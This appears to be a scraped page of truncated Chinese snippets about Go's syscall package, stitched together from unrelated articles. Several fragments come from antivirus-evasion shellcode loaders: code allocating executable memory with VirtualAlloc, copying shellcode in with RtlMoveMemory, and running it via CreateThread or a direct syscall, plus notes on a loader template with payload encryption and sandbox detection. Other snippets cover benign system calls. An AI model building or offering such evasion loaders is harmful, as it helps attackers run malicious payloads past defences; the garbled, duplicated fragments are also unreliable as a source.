syscall包实现LoadDLL方法的源码,暂时先放在这里,如果免杀效果不好的话我们可以从源码层面入手。 funcLoadDLL(namestring)(*DLL,error){namep,err:=UTF16PtrFromString(name)iferr!=nil{returnnil,err}varhuintptrvareErrnoifsysdll.IsSystemDLL[name]{absoluteFilepathp,err:=UTF16PtrFromString(systemDirectoryPref...
Kernel32, _ = syscall.LoadLibrary("Kernel32.dll") 创建线程, _ = syscall.GetProcAddress(Kernel32, "CreateThread") 申请虚拟内存, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc") 内存复制, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory") 线程等待,_ = syscall.GetProcAddress(Kernel32, "WaitForS...
func loader2(sc []byte) { // 获取当前进程的句柄 pHandle, _ := syscall.GetCurrentProcess() Protect := windows.PAGE_EXECUTE_READWRITE // 为shellcode分配足够大小的内存 addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, wind...
下面是 golang 调用 Shellcode 的几种方式, SyscallN 已经集成在默认模板中,CreateThread 和 EnumThreadWindows 的方式在读完文章后可以自行加入到模板中 SyscallN 这是平台自带模板中的代码片段,加载器通过 syscall 直接系统调用来申请一块内存,使用自实现的 WriteMemory 函数来将 Shellcode 写入到内存中,然后调用 Sysc...
= VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { checkErr(err) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) checkErr(err) syscall.Syscall(addr, 0, 0,...
Golang语言syscall调用系统功能的实现方式是什么? Golang中如何使用syscall包进行文件操作? 在Golang中,syscall包的错误处理机制是怎样的? 获取Windows的系统默认目录 Windows系统目录函数请参考MSDN:https://msdn.microsoft.com/en-us/library/windows/desktop/bb762181%28v=vs.85%29.aspx 代码语言:javascript 代码运...
syscall.FreeLibrary(kernel32)GetDiskFreeSpaceEx, err := syscall.GetProcAddress(syscall.Handle(kernel32), "GetDiskFreeSpaceExW")//执行之. 因为有4个参数,故取Syscall6才能放得下. 最后2个参数,自然就是0了r, _, errno := syscall.Syscall6(uintptr(GetDiskFreeSpaceEx), 4,uintptr(unsafe.Pointer(syscall....
由于各个操作系统都不是用Go写的,所以只能通过 ABI 的形式来调用系统库完成 UI 构建。这个过程就需要各个平台系统库的Go bindings,通常这些接口会比较多,单独使用syscall转换不现实而且存在效率问题,所以几乎全都依赖 CGO 实现。 随便一提,自动化生成这类ffi其实是比较麻烦的,相关开源项目的开发者都是好人。诸如复合...
使用windows package重写了DLL调用模块,syscall&windows的总结 模板新增根据自定义导入对应库设置 新增多个多重加密/编码方法,Base32/62编码测试熵值比较低 新增渲染判断,模板可根据结构体来渲染 更改为验证为沙箱之后程序正常退出 新增代码检查:检查通过再编译;初始化:go install golang.org/x/tools/cmd/goimports@late...
= VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { checkErr(err) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) checkErr(err) syscall.Syscall(addr, 0, 0,...